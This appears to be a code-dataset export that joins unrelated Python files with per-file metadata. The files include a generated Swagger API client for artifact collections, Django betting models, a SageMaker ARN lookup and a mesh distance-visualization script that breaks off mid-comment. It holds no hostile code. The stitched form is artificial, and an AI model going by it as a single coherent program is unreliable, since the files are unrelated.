header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['multipart/form-data']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/collections/{collectionid}/artifacts/{artifactid}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Artifact', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def collections_collectionid_artifacts_post(self, collectionid, auid, uri, content, **kwargs): # noqa: E501 """Create an artifact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_artifacts_post(collectionid, auid, uri, content, async=True) >>> result = thread.get() :param async bool :param str collectionid: Collection containing the artifact (required) :param str auid: Archival Unit ID (AUID) of new artifact (required) :param str uri: URI represented by this artifact (required) :param file content: Content byte stream (required) :param file aspect_parts: URI aspects represented by this artifact :return: Artifact If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.collections_collectionid_artifacts_post_with_http_info(collectionid, auid, uri, content, **kwargs) # noqa: E501 else: (data) = self.collections_collectionid_artifacts_post_with_http_info(collectionid, auid, uri, content, **kwargs) # noqa: E501 return data def collections_collectionid_artifacts_post_with_http_info(self, collectionid, auid, uri, content, **kwargs): # noqa: E501 """Create an artifact # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_artifacts_post_with_http_info(collectionid, auid, uri, content, async=True) >>> result = thread.get() :param async bool :param str collectionid: Collection containing the artifact (required) :param str auid: Archival Unit ID (AUID) of new artifact (required) :param str uri: URI represented by this artifact (required) :param file content: Content byte stream (required) :param file aspect_parts: URI aspects represented by this artifact :return: Artifact If the method is called asynchronously, returns the request thread. """ all_params = ['collectionid', 'auid', 'uri', 'content', 'aspect_parts'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method collections_collectionid_artifacts_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'collectionid' is set if ('collectionid' not in params or params['collectionid'] is None): raise ValueError("Missing the required parameter `collectionid` when calling `collections_collectionid_artifacts_post`") # noqa: E501 # verify the required parameter 'auid' is set if ('auid' not in params or params['auid'] is None): raise ValueError("Missing the required parameter `auid` when calling `collections_collectionid_artifacts_post`") # noqa: E501 # verify the required parameter 'uri' is set if ('uri' not in params or params['uri'] is None): raise ValueError("Missing the required parameter `uri` when calling `collections_collectionid_artifacts_post`") # noqa: E501 # verify the required parameter 'content' is set if ('content' not in params or params['content'] is None): raise ValueError("Missing the required parameter `content` when calling `collections_collectionid_artifacts_post`") # noqa: E501 collection_formats = {} path_params = {} if 'collectionid' in params: path_params['collectionid'] = params['collectionid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} if 'auid' in params: form_params.append(('auid', params['auid'])) # noqa: E501 if 'uri' in params: form_params.append(('uri', params['uri'])) # noqa: E501 if 'content' in params: local_var_files['content'] = params['content'] # noqa: E501 if 'aspect_parts' in params: local_var_files['aspectParts'] = params['aspect_parts'] # noqa: E501 body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['multipart/form-data']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/collections/{collectionid}/artifacts', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Artifact', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def collections_collectionid_aus_auid_artifacts_get(self, collectionid, auid, **kwargs): # noqa: E501 """Get committed artifacts in a collection and Archival Unit # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_aus_auid_artifacts_get(collectionid, auid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Identifier of the collection containing the artifacts (required) :param str auid: Identifier of the Archival Unit containing the artifacts (required) :param str url: The URL contained by the artifacts :param str url_prefix: The prefix to be matched by the artifact URLs :param str version: The version of the URL contained by the artifacts :return: list[Artifact] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.collections_collectionid_aus_auid_artifacts_get_with_http_info(collectionid, auid, **kwargs) # noqa: E501 else: (data) = self.collections_collectionid_aus_auid_artifacts_get_with_http_info(collectionid, auid, **kwargs) # noqa: E501 return data def collections_collectionid_aus_auid_artifacts_get_with_http_info(self, collectionid, auid, **kwargs): # noqa: E501 """Get committed artifacts in a collection and Archival Unit # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_aus_auid_artifacts_get_with_http_info(collectionid, auid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Identifier of the collection containing the artifacts (required) :param str auid: Identifier of the Archival Unit containing the artifacts (required) :param str url: The URL contained by the artifacts :param str url_prefix: The prefix to be matched by the artifact URLs :param str version: The version of the URL contained by the artifacts :return: list[Artifact] If the method is called asynchronously, returns the request thread. """ all_params = ['collectionid', 'auid', 'url', 'url_prefix', 'version'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method collections_collectionid_aus_auid_artifacts_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'collectionid' is set if ('collectionid' not in params or params['collectionid'] is None): raise ValueError("Missing the required parameter `collectionid` when calling `collections_collectionid_aus_auid_artifacts_get`") # noqa: E501 # verify the required parameter 'auid' is set if ('auid' not in params or params['auid'] is None): raise ValueError("Missing the required parameter `auid` when calling `collections_collectionid_aus_auid_artifacts_get`") # noqa: E501 collection_formats = {} path_params = {} if 'collectionid' in params: path_params['collectionid'] = params['collectionid'] # noqa: E501 if 'auid' in params: path_params['auid'] = params['auid'] # noqa: E501 query_params = [] if 'url' in params: query_params.append(('url', params['url'])) # noqa: E501 if 'url_prefix' in params: query_params.append(('urlPrefix', params['url_prefix'])) # noqa: E501 if 'version' in params: query_params.append(('version', params['version'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/collections/{collectionid}/aus/{auid}/artifacts', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Artifact]', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def collections_collectionid_aus_auid_size_get(self, collectionid, auid, **kwargs): # noqa: E501 """Get the size of Archival Unit artifacts in a collection # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_aus_auid_size_get(collectionid, auid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Identifier of the collection containing the artifacts (required) :param str auid: Identifier of the Archival Unit containing the artifacts (required) :param str url: The URL contained by the artifacts :param str url_prefix: The prefix to be matched by the artifact URLs :param str version: The version of the URL contained by the artifacts :return: int If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.collections_collectionid_aus_auid_size_get_with_http_info(collectionid, auid, **kwargs) # noqa: E501 else: (data) = self.collections_collectionid_aus_auid_size_get_with_http_info(collectionid, auid, **kwargs) # noqa: E501 return data def collections_collectionid_aus_auid_size_get_with_http_info(self, collectionid, auid, **kwargs): # noqa: E501 """Get the size of Archival Unit artifacts in a collection # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_aus_auid_size_get_with_http_info(collectionid, auid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Identifier of the collection containing the artifacts (required) :param str auid: Identifier of the Archival Unit containing the artifacts (required) :param str url: The URL contained by the artifacts :param str url_prefix: The prefix to be matched by the artifact URLs :param str version: The version of the URL contained by the artifacts :return: int If the method is called asynchronously, returns the request thread. """ all_params = ['collectionid', 'auid', 'url', 'url_prefix', 'version'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method collections_collectionid_aus_auid_size_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'collectionid' is set if ('collectionid' not in params or params['collectionid'] is None): raise ValueError("Missing the required parameter `collectionid` when calling `collections_collectionid_aus_auid_size_get`") # noqa: E501 # verify the required parameter 'auid' is set if ('auid' not in params or params['auid'] is None): raise ValueError("Missing the required parameter `auid` when calling `collections_collectionid_aus_auid_size_get`") # noqa: E501 collection_formats = {} path_params = {} if 'collectionid' in params: path_params['collectionid'] = params['collectionid'] # noqa: E501 if 'auid' in params: path_params['auid'] = params['auid'] # noqa: E501 query_params = [] if 'url' in params: query_params.append(('url', params['url'])) # noqa: E501 if 'url_prefix' in params: query_params.append(('urlPrefix', params['url_prefix'])) # noqa: E501 if 'version' in params: query_params.append(('version', params['version'])) # noqa: E501 header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/collections/{collectionid}/aus/{auid}/size', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='int', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def collections_collectionid_aus_get(self, collectionid, **kwargs): # noqa: E501 """Get Archival Unit IDs (AUIDs) in a collection # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_aus_get(collectionid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Identifier of the collection containing the Archival Units (required) :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.collections_collectionid_aus_get_with_http_info(collectionid, **kwargs) # noqa: E501 else: (data) = self.collections_collectionid_aus_get_with_http_info(collectionid, **kwargs) # noqa: E501 return data def collections_collectionid_aus_get_with_http_info(self, collectionid, **kwargs): # noqa: E501 """Get Archival Unit IDs (AUIDs) in a collection # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_collectionid_aus_get_with_http_info(collectionid, async=True) >>> result = thread.get() :param async bool :param str collectionid: Identifier of the collection containing the Archival Units (required) :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['collectionid'] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method collections_collectionid_aus_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'collectionid' is set if ('collectionid' not in params or params['collectionid'] is None): raise ValueError("Missing the required parameter `collectionid` when calling `collections_collectionid_aus_get`") # noqa: E501 collection_formats = {} path_params = {} if 'collectionid' in params: path_params['collectionid'] = params['collectionid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/collections/{collectionid}/aus', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def collections_get(self, **kwargs): # noqa: E501 """Get collection identifiers of the committed artifacts in the repository # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_get(async=True) >>> result = thread.get() :param async bool :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async'): return self.collections_get_with_http_info(**kwargs) # noqa: E501 else: (data) = self.collections_get_with_http_info(**kwargs) # noqa: E501 return data def collections_get_with_http_info(self, **kwargs): # noqa: E501 """Get collection identifiers of the committed artifacts in the repository # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async=True >>> thread = api.collections_get_with_http_info(async=True) >>> result = thread.get() :param async bool :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = [] # noqa: E501 all_params.append('async') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method collections_get" % key ) params[key] = val del params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/collections', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async=params.get('async'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

43.964892

159

0.635378

4,277

38,821

5.55062

0.04606

0.04246

0.056613

0.024263

0.965333

0.956024

0.952275

0.945324

0.936647

0.926411

0

0.013794

0.279153

38,821

882

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null

0

1

0

1

0

null

0

1

0

8

315746974e69f625bc7caafc3ff172ff3f8ede0a

172

py

Python

collection_G/machine_learning/__init__.py

STomoya/collection_G

5ffbdb47d4f8c27fa6eef4b6f769fe5ae4598f9f

[ "MIT" ]

null

collection_G/machine_learning/__init__.py

STomoya/collection_G

5ffbdb47d4f8c27fa6eef4b6f769fe5ae4598f9f

[ "MIT" ]

null

collection_G/machine_learning/__init__.py

STomoya/collection_G

5ffbdb47d4f8c27fa6eef4b6f769fe5ae4598f9f

[ "MIT" ]

null

from .keras import plot_keras_history from .sklearn import split_data from .sklearn import encode_target from .sklearn import plot_confusion_matrix from . import pytorch

21.5

42

0.843023

25

172

5.56

0.52

0.23741

0.366906

0

0.127907

172

8

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true

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null

0

1

0

1

0

1

0

7

315f2bef3e17c7a64506f51d88cafc1ec609e079

2,523

py

Python

jackpot/models.py

clonetech/jackpotsone

512d018f431eef7649712ad9c9e8e40d99ddd00c

[ "BSD-3-Clause" ]

null

jackpot/models.py

clonetech/jackpotsone

512d018f431eef7649712ad9c9e8e40d99ddd00c

[ "BSD-3-Clause" ]

3

2020-06-05T18:28:06.000Z

2021-06-10T20:33:26.000Z

jackpot/models.py

clonetech/jackpotsone

512d018f431eef7649712ad9c9e8e40d99ddd00c

[ "BSD-3-Clause" ]

null

from django.db import models from django.contrib.auth.models import User from django.utils import timezone import datetime from django.conf import settings from django.urls import reverse from django.db.models.signals import post_save from django.dispatch import receiver class Punter(models.Model): published_date = models.DateTimeField('Date Published') country = models.CharField(max_length = 200) home_team = models.CharField(max_length = 200) home_score = models.IntegerField(default = 0) away_score = models.IntegerField(default = 0) away_team = models.CharField(max_length = 200) prediction = models.CharField(max_length = 100) status = models.CharField(max_length = 100, choices=[('Running','Running'),('Won','Won'),('Lost','Lost')]) def __str__(self): return self.home_team class Hexabet(models.Model): published_date = models.DateTimeField('Date Published') country = models.CharField(max_length = 200) home_team = models.CharField(max_length = 200) home_score = models.IntegerField(default = 0) away_score = models.IntegerField(default = 0) away_team = models.CharField(max_length = 200) safety = models.CharField(max_length = 200, default="") prediction = models.CharField(max_length = 100) status = models.CharField(max_length = 100, choices=[('Running','Running'),('Won','Won'),('Lost','Lost')]) def __str__(self): return self.home_team class Singlebet(models.Model): published_date = models.DateTimeField('Date Published') country = models.CharField(max_length = 200) home_team = models.CharField(max_length = 200) home_score = models.IntegerField(default = 0) away_score = models.IntegerField(default = 0) away_team = models.CharField(max_length = 200) safety = models.CharField(max_length = 200, default="") prediction = models.CharField(max_length = 100) status = models.CharField(max_length = 100, choices=[('Running','Running'),('Won','Won'),('Lost','Lost')]) def __str__(self): return self.home_team class Jackpot(models.Model): published_date = models.DateTimeField('Date Published') content = models.TextField(null=True, blank=True) no = models.CharField(max_length = 200, default="") country = models.CharField(max_length = 200) home_team = models.CharField(max_length = 200) away_team = models.CharField(max_length = 200) prediction = models.CharField(max_length = 100) def __str__(self): return self.home_team

38.815385

110

0.717004

317

2,523

5.514196

0.18612

0.188787

0.226545

0.30206

0.825515

0.806064

0.790046

0.758009

0

0.034026

0.161316

2,523

64

111

39.421875

0.79206

0

0.735849

0

0.05549

0

1

0.075472

false

0

0.150943

0.075472

1

0

null

0

1

0

1

0

null

0

9

31861d3a31bc5021eb63adc8dfe1430e7abf184c

49

py

Python

server/server/LeConf.py

JackZxj/RoboticDigitalTwin

e74db961c1562eb770e5093f74f3aa8167a2f05b

[ "MIT" ]

7

2020-07-27T12:33:18.000Z

2021-11-06T09:30:32.000Z

server/server/LeConf.py

JackZxj/RoboticDigitalTwin

e74db961c1562eb770e5093f74f3aa8167a2f05b

[ "MIT" ]

null

server/server/LeConf.py

JackZxj/RoboticDigitalTwin

e74db961c1562eb770e5093f74f3aa8167a2f05b

[ "MIT" ]

6

2020-07-07T01:11:53.000Z

2021-04-23T03:44:44.000Z

Deviation = (1500, 1500, 1500, 1500, 1500, 1500)

24.5

48

0.673469

7

49

4.714286

0.285714

1.212121

1.454545

0.727273

0

0.585366

0.163265

49

1

49

0.219512

0

1

0

false

0

1

0

null

1

0

1

0

1

0

1

0

null

0

8

31a5a30aedbccf05973ef45df8a5ab9818462fa5

2,124

py

Python

aws_marketplace/using_model_packages/amazon_demo_product/src/scikit_product_arns.py

jerrypeng7773/amazon-sagemaker-examples

c5ddecce1f739a345465b9a38b064983a129141d

[ "Apache-2.0" ]

2,610

2020-10-01T14:14:53.000Z

2022-03-31T18:02:31.000Z

aws_marketplace/using_model_packages/amazon_demo_product/src/scikit_product_arns.py

jerrypeng7773/amazon-sagemaker-examples

c5ddecce1f739a345465b9a38b064983a129141d

[ "Apache-2.0" ]

1,959

2020-09-30T20:22:42.000Z

2022-03-31T23:58:37.000Z

aws_marketplace/using_model_packages/amazon_demo_product/src/scikit_product_arns.py

jerrypeng7773/amazon-sagemaker-examples

c5ddecce1f739a345465b9a38b064983a129141d

[ "Apache-2.0" ]

2,052

2020-09-30T22:11:46.000Z

2022-03-31T23:02:51.000Z

class ScikitArnProvider: @staticmethod def get_model_package_arn(current_region): mapping = { "ap-south-1": "arn:aws:sagemaker:ap-south-1:077584701553:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "ap-northeast-2": "arn:aws:sagemaker:ap-northeast-2:745090734665:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "ap-southeast-1": "arn:aws:sagemaker:ap-southeast-1:192199979996:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "ap-southeast-2": "arn:aws:sagemaker:ap-southeast-2:666831318237:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "ap-northeast-1": "arn:aws:sagemaker:ap-northeast-1:977537786026:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "ca-central-1": "arn:aws:sagemaker:ca-central-1:470592106596:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "eu-central-1": "arn:aws:sagemaker:eu-central-1:446921602837:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "eu-west-1": "arn:aws:sagemaker:eu-west-1:985815980388:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "eu-west-2": "arn:aws:sagemaker:eu-west-2:856760150666:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "us-east-1": "arn:aws:sagemaker:us-east-1:865070037744:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "us-east-2": "arn:aws:sagemaker:us-east-2:057799348421:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "us-west-1": "arn:aws:sagemaker:us-west-1:382657785993:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", "us-west-2": "arn:aws:sagemaker:us-west-2:594846645681:model-package/scikit-iris-detector-154230595-8f00905c1f927a512b73ea29dd09ae30", } return mapping[current_region]

106.2

156

0.760829

236

2,124

6.826271

0.186441

0.104283

0.121043

0.177529

0.81378

0.623836

0.535692

0.490379

0

0.301211

0.105932

2,124

19

157

111.789474

0.54713

0

0.684211

0.802731

0.734934

0

1

0.052632

false

0

0.157895

0

null

0

1

0

1

0

1

0

1

null

0

7

732e15bcbabdf63515fb362ddeb261e6b7455494

195

py

Python

dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/cffi_support.py

jeikabu/lumberyard

07228c605ce16cbf5aaa209a94a3cb9d6c1a4115

[ "AML" ]

1,738

2017-09-21T10:59:12.000Z

2022-03-31T21:05:46.000Z

dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/cffi_support.py

jeikabu/lumberyard

07228c605ce16cbf5aaa209a94a3cb9d6c1a4115

[ "AML" ]

427

2017-09-29T22:54:36.000Z

2022-02-15T19:26:50.000Z

dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/cffi_support.py

jeikabu/lumberyard

07228c605ce16cbf5aaa209a94a3cb9d6c1a4115

[ "AML" ]

671

2017-09-21T08:04:01.000Z

2022-03-29T14:30:07.000Z

# -*- coding: utf-8 -*- """ Alias to numba.typing.cffi_utils for backward compatibility """ from __future__ import print_function, division, absolute_import from numba.typing.cffi_utils import *

27.857143

64

0.769231

26

195

5.461538

0.730769

0.15493

0.211268

0.28169

0

0.005814

0.117949

195

6

65

32.5

0.819767

0.420513

0

1

0

true

0

1

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1

0.5

1

0

null

0

1

0

1

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null

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1

0

1

0

8

734e7be00f5be4565ab9d58b44ae82f605e8265c

26,762

py

Python

source/figure/distance_vis.py

phygitalism/points2surf

c8e6d47062fc068802e179a37427981c8e10b128

[ "MIT" ]

260

2020-07-09T13:21:51.000Z

2022-03-30T09:48:49.000Z

source/figure/distance_vis.py

phygitalism/points2surf

c8e6d47062fc068802e179a37427981c8e10b128

[ "MIT" ]

14

2020-12-16T05:33:59.000Z

2022-02-11T01:03:29.000Z

source/figure/distance_vis.py

phygitalism/points2surf

c8e6d47062fc068802e179a37427981c8e10b128

[ "MIT" ]

31

2020-07-22T13:13:38.000Z

2022-03-04T16:14:09.000Z

# This messy code computes vertex colors based on the distance reconstruction <-> GT mesh from source.base import parula_colormap from source.base import utils_mp import numpy as np import trimesh import trimesh.proximity def get_normalization_target(distances: list, cut_percentil=0.9): dist_concat = np.concatenate(distances, axis=0) dist_concat_sorted = np.sort(dist_concat) if cut_percentil is not None and cut_percentil < 1.0: percentil_id = int(dist_concat_sorted.shape[0] * cut_percentil) return dist_concat_sorted[percentil_id] else: return dist_concat_sorted[-1] def get_closest_distance_batched(query_pts: np.ndarray, mesh: trimesh.Trimesh, batch_size=1000): import multiprocessing num_of_cpu = multiprocessing.cpu_count() # process batches because trimesh's signed_distance very inefficient on memory # 3k queries on a mesh with 27k vertices and 55k faces takes around 8 GB of RAM # dists_ms = np.zeros((query_pts.shape[0],)) pts_ids = np.arange(query_pts.shape[0]) pts_ids_split = np.array_split(pts_ids, max(1, int(query_pts.shape[0] / batch_size))) params = [] for pts_ids_batch in pts_ids_split: # dists_ms[pts_ids_batch] = trimesh.proximity.closest_point(mesh, query_pts[pts_ids_batch])[1] params.append((mesh, query_pts[pts_ids_batch])) dist_list = utils_mp.start_process_pool(trimesh.proximity.closest_point, params, num_of_cpu) dists = np.concatenate([d[1] for d in dist_list]) print('got distances for {} vertices'.format(query_pts.shape[0])) return dists def visualize_mesh_with_distances(mesh_file: str, mesh: trimesh.Trimesh, dist_per_vertex: np.ndarray, normalize_to: float, cut_percentil=0.9): dist_per_vertex_normalized = dist_per_vertex / normalize_to # use parula colormap: dist=0 -> blue, dist=0.5 -> green, dist=1.0 -> yellow parulas_indices = (dist_per_vertex_normalized * (parula_colormap.parula_cm.shape[0] - 1)).astype(np.int32) dist_greater_than_norm_target = parulas_indices >= parula_colormap.parula_cm.shape[0] parulas_indices[dist_greater_than_norm_target] = parula_colormap.parula_cm.shape[0] - 1 dist_colors_rgb = [parula_colormap.parula_cm[parula_indices] for parula_indices in parulas_indices] file_out_vis = mesh_file + '_vis.ply' mesh_vis = trimesh.Trimesh(vertices=mesh.vertices, faces=mesh.faces, vertex_colors=dist_colors_rgb) mesh_vis.export(file_out_vis) file_out_stats = mesh_file + '_stats.txt' with open(file_out_stats, 'w+') as stats_file: stats_file.write( 'Distance from reconstructed mesh vertex to nearest sample on GT mesh, ' 'Min={}, Max={}, Mean={}, normalized to {}, cut percentil {}'.format( np.min(dist_per_vertex), np.max(dist_per_vertex), np.mean(dist_per_vertex), normalize_to, cut_percentil) ) def make_distance_comparison(in_file_rec_meshes: list, in_file_gt_mesh, cut_percentil=0.9, batch_size=1000): import trimesh.proximity meshes_rec = [trimesh.load(in_file_rec_mesh) for in_file_rec_mesh in in_file_rec_meshes] if type(in_file_gt_mesh) == str: mesh_gt = trimesh.load(in_file_gt_mesh) elif type(in_file_gt_mesh) == list: mesh_gt = [trimesh.load(in_file_gt_mesh) for in_file_gt_mesh in in_file_gt_mesh] else: raise ValueError('Not implemented!') # vertices_rec_dists = [trimesh.proximity.closest_point(mesh_gt, mesh_rec.vertices)[1] for mesh_rec in meshes_rec] if type(in_file_gt_mesh) == str: vertices_rec_dists = [get_closest_distance_batched(mesh_rec.vertices, mesh_gt, batch_size) for mesh_rec in meshes_rec] elif type(in_file_gt_mesh) == list: vertices_rec_dists = [get_closest_distance_batched(mesh_rec.vertices, mesh_gt[mi], batch_size) for mi, mesh_rec in enumerate(meshes_rec)] else: raise ValueError('Not implemented!') normalize_to = get_normalization_target(vertices_rec_dists, cut_percentil=cut_percentil) for fi, f in enumerate(in_file_rec_meshes): visualize_mesh_with_distances( f, meshes_rec[fi], dist_per_vertex=vertices_rec_dists[fi], normalize_to=normalize_to, cut_percentil=cut_percentil) def main(in_file_rec_meshes: list, in_file_gt_mesh, cut_percentile=0.9, batch_size=1000): print('Visualize distances of {} to {}'.format(in_file_rec_meshes, in_file_gt_mesh)) make_distance_comparison( in_file_rec_meshes=in_file_rec_meshes, in_file_gt_mesh=in_file_gt_mesh, cut_percentil=cut_percentile, batch_size=batch_size ) if __name__ == "__main__": # # holes close-up # mesh_name = '00011827_73c6505f827541168d5410e4_trimesh_096.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/holes/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/holes/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/holes/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/holes/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/holes/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/features_close_up/holes/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # flat areas close-up # mesh_name = '00019114_87f2e2e15b2746ffa4a2fd9a_trimesh_003.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/flats/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/flats/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/flats/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/flats/deepsdf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/flats/atlasnet/' + mesh_name[:-4] + '.xyz.npy.ply', # ] # in_dirs_gt_meshes = '/home/perler/Nextcloud/point2surf results/figures/features_close_up/flats/gt/' + mesh_name # main(in_dirs_rec_meshes, in_dirs_gt_meshes, cut_percentile=0.9) # # denoising close-up # #mesh_name = '00993706_f8bc5c196ab9685d0182bbed_trimesh_001.ply' # mesh_name = 'Armadillo.ply' # in_dirs_rec_meshes = [ # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/denoising/point2surf/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/denoising/spsr+pcpnet/' + mesh_name, # '/home/perler/Nextcloud/point2surf results/figures/features_close_up/denoising/spsr+gt/' + mesh_name, # '/home/perler/Nextcloud/point2surf 